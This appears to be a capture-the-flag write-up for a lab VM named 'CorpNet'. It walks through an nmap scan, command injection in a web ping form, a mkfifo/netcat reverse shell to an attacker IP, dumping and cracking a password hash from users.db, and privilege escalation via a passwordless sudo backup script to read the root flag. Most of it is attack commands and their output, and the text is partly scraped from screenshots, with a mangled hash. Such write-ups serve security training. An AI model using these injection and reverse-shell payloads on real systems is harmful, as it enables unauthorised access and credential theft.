

# Corpnet

## 1. nmap

```
(kali@kali)-[~/corpnet]
$ nmap -sC -sV -oN corpnet.txt 192.168.154.135
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-03 03:44 EDT
Nmap scan report for 192.168.154.135
Host is up (0.00029s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_ 3072 63:f5:d1:87:cd:c4:e0:48:b6:bb:ce:bb:99:f3:74:be (RSA)
|_ 256  a4:55:98:36:8b:9a:55:5b:a6:b9:8a:96:d7:c0:aa:84 (ECDSA)
|_ 256  64:27:46:87:72:07:2e:99:2b:e6:d5:43:e4:cb:6d:cd (ED25519)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
|_ http-server-header: Apache/2.4.41 (Ubuntu)
|_ http-title: CorpNet Network Tester
MAC Address: 08:0C:29:88:8C:B9 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 7.25 seconds
```

## 2. got website on port 80, vulnerable to rce

CorpNet Network Tester

IP Address to ping:

;ls

Ping

Ping Results:

index.php

styles.css

users.db

© 2024 CorpNet. All rights reserved.

## 3. got reverse shell

Theme Dark

Reverse Shell Generator

IP & Port

IP

192.168.154.131

Port

4444

+1

Listener

nc -lvnp 4444

Type nc

Copy

Advanced

Reverse

Bind

MSFVenom

HoaxShell

OS All

Name

Show Advanced

Bash 5

Bash udp

nc mkfifo

nc -e

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.154.131 4444 >/tmp/f

CorpNet M

IP Address to ping:

; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.154.131 4444 >/tmp/f

- got flag.txt in /home/devuser (not accessible)

```
</body>
</html>$
$ ls /home/devuser
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
flag.txt
$ cat /home/devuser/flag.txt
cat: /home/devuser/flag.txt: Permission denied
$
```

To direct input to this VM, click inside or press Ctrl+G

5. get a password hash from users.db and hence got the password from website in hint

```

(kali㉿kali)-[~]
$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.154.131] from (UNKNOWN) [192.168.154.135] 48598
sh: 0: can't access tty; job control turned off
$ ls
index.php
styles.css
users.db
$ cat users.db
♦uadevuser$6$eErSkx7YL7pqV6av$0AA.9LRqerr2ZGR3t0Y.aALD4fAtXMa34ggx7c.
$
$ python3 -m http.server 9001

```

DB Browser for SQLite - users.db

File Edit View Tools Help

New Database Open Database Write Changes Revert Changes Undo Open Project Attach Database

Database Structure Browse Data Edit Pragmas Execute SQL

Table: users

	username	password
1	devuser	\$6\$eErSkx7YL7pqV6av\$0AA.9LRqerr2ZGR3t0Y.aALD4fAtXMa34ggx7c.
2	devuser	\$6\$eErSkx7YL7pqV6av\$0AA.9LRqerr2ZGR3t0Y.aALD4fAtXMa34ggx7c.

Filter Filter

1

Editing row=1, column=0  
Type: Text / Numeric; Size: 1 character(s)

Remote Identity Select an identity to connect

DBHub.io Local Current Database

Name	Last modified	Size	Cor
------	---------------	------	-----

SQL Log Plot DB Schema Remote

UTF-8

# Password Hash Verifier

Enter a hash to check if it matches our stored hash.

**Enter Hash:**

\$6\$eErSkx7YL7pqV6av\$OAA.9LRqerr2ZGR3t0Y.aALD4fAtXMa34ggxi

Verify Hash

**Hash matched!** The cracked hash is: secretpass123

6. *ssh using password we got shell*
7. *checked sudo permissions by doing sudo -l*
8. *saw no passwd on backup.sh*
9. *understood backup.sh's working and ran it against /root/flag.txt which we guessed and got the flag*

```
devuser@corpnet:/tmp$ cd ^C
devuser@corpnet:/tmp$ sudo -l
Matching Defaults entries for devuser on corpnet:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/b

User devuser may run the following commands on corpnet:
    (ALL) NOPASSWD: /usr/local/bin/backup.sh
devuser@corpnet:/tmp$ nano /usr/local/bin/backup.sh
devuser@corpnet:/tmp$ /usr/local/bin/backup.sh /root/flag.txt
cp: cannot stat '/root/flag.txt': Permission denied
chown: cannot access '/tmp/backup_2025-05-03_15:16:18': No such file or directory
chmod: cannot access '/tmp/backup_2025-05-03_15:16:18': No such file or directory
Backup created successfully: /tmp/backup_2025-05-03_15:16:18
devuser@corpnet:/tmp$ sudo !!
sudo /usr/local/bin/backup.sh /root/flag.txt
Backup created successfully: /tmp/backup_2025-05-03_15:16:27
devuser@corpnet:/tmp$ ls
backup_2025-05-03_15:16:27  systemd-private-79fc1cd84e7b4f16936166dee90fd7b5-apache2.service-WmfmYi    sys
config-err-aRlgW5          systemd-private-79fc1cd84e7b4f16936166dee90fd7b5-colord.service-ebQtQg      sys
linpeas.sh                 systemd-private-79fc1cd84e7b4f16936166dee90fd7b5-ModemManager.service-TDrJNf  sys
snap-private-tmp           systemd-private-79fc1cd84e7b4f16936166dee90fd7b5-switcheroo-control.service-Fzg6aj tra
ssh-DC2wkNHgp7b9          systemd-private-79fc1cd84e7b4f16936166dee90fd7b5-systemd-logind.service-0pJWZf tra
devuser@corpnet:/tmp$ cat backup_2025-05-03_15:16:27
CTF{UjAwdF9QcjF2MwWzZzNfM3NjNGw0dEwbL9BY2gxM3YzZA}devuser@corpnet:/tmp$ █
```